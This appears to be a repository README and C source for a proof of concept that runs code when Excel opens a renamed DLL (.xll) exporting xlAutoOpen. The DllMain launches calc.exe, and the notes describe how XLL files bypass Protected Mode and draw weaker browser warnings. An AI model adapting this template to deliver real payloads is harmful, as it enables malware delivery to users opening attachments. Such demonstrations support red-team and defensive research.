Readme.md

Notes

An XLL file is basically a DLL with some special features to make it work with Excel.

See - https://msdn.microsoft.com/en-us/library/office/bb687911.aspx

By creating a DLL which exports xlAutoOpen, and then renaming the compiled DLL to .xll, we can execute our code in DllMain when the file is loaded by Excel.

The attached .xll file will open with Excel (by default) when double-clicked. The user will then be presented with a warning. If the warning is clicked through, then our code is executed.

Also worth noting:

• Office Protected mode does not apply to XLL files
• As this is essentially just a PE file. Mail filters (and perhaps some web proxies) may block it.
• Although it is technically a PE file, Edge does not do all the same checks/warnings that it would do with a regular .exe.

Note - the calc.xll is compiled for 32-bit. You will need to re-compile for 64-bit if using 64-bit Office.

calc.xll

dllmain.c

#include "stdafx.h"
#include <Windows.h>

extern "C" void __declspec(dllexport) xlAutoOpen();void xlAutoOpen() {};

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		WinExec("C:\\windows\\system32\\calc.exe", 1);
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}